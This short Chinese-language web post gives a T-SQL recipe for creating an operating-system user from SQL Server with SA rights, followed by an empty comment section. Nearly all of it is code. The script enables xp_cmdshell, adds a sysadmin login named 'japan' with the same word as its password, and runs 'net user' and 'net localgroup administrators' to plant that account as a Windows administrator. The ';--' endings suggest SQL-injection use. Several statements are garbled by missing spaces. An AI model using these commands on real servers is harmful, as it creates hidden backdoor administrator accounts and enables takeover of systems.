微軟SQL Server 在SA權限下創建系統用戶 方法

--enabble xp_cmdshell
EXECsys.sp_configure N'show advanced options', N'1'RECONFIGURE WITHOVERRIDE  go
EXECsys.sp_configure N'xp_cmdshell', N'1'go  RECONFIGURE WITHOVERRIDE  go EXECsys.sp_configure N'show advanced options', N'0'RECONFIGURE WITHOVERRIDE  go
-- Unenable xp_cmdshell
EXECsys.sp_configure N'show advanced options', N'1'RECONFIGURE WITHOVERRIDE  go
EXECsys.sp_configure N'xp_cmdshell', N'0'go  RECONFIGURE WITHOVERRIDE  go
EXECsys.sp_configure N'show advanced options', N'0'RECONFIGURE WITHOVERRIDE  go   -- 通過xp_cmdshell 創建操作系統用戶, japan 是用戶名及密碼
execmaster.dbo.sp_addlogin japan;--     exec master.dbo.sp_password null,japan,japan;--  
execmaster.dbo.sp_addsrvrolemember japan,sysadmin;--  
execmaster.dbo.xp_cmdshell 'net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
execmaster.dbo.xp_cmdshell 'net localgroup administrators japan /add';--      



愛撫州網 www.i0794.cn

www.bzff.com

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章